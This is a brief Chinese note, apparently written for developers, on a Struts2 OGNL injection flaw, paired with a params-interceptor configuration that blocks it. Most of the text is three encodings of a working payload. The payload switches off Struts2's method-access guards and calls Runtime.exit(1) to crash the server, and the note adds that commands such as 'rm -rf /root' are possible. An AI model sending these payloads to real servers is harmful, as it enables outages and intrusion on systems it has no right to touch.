Struts2远程执行漏洞
Struts2转码有个bug,可以导致应用挂掉(也可以执行类似 rm –rf /root,只要有权限的话)
在访问你应用的action的URL连接后面用get请求的方式带上参数
?('\#_memberAccess[\'allowStaticMethodAccess\']')(meh)=tr&(aaa)(('\#context[\'xwork.MethodAccessor.denyMethodExecution\']\=\#foo')(\#foo\=new%20java.lang.Boolean("false")))&(asdf)(('\#rt.exit(1)')(\#rt\=@java.lang.Runtime@getRuntime()))=1
java.lang.Runtime.getRuntime().exit(1);
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
<interceptor-ref name="params"> <param name="excludeParams">.*\\u0023.*</param> </interceptor-ref>
<interceptor-ref name="params"> <param name="excludeParams">dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,parameters\...* </param> </interceptor-ref>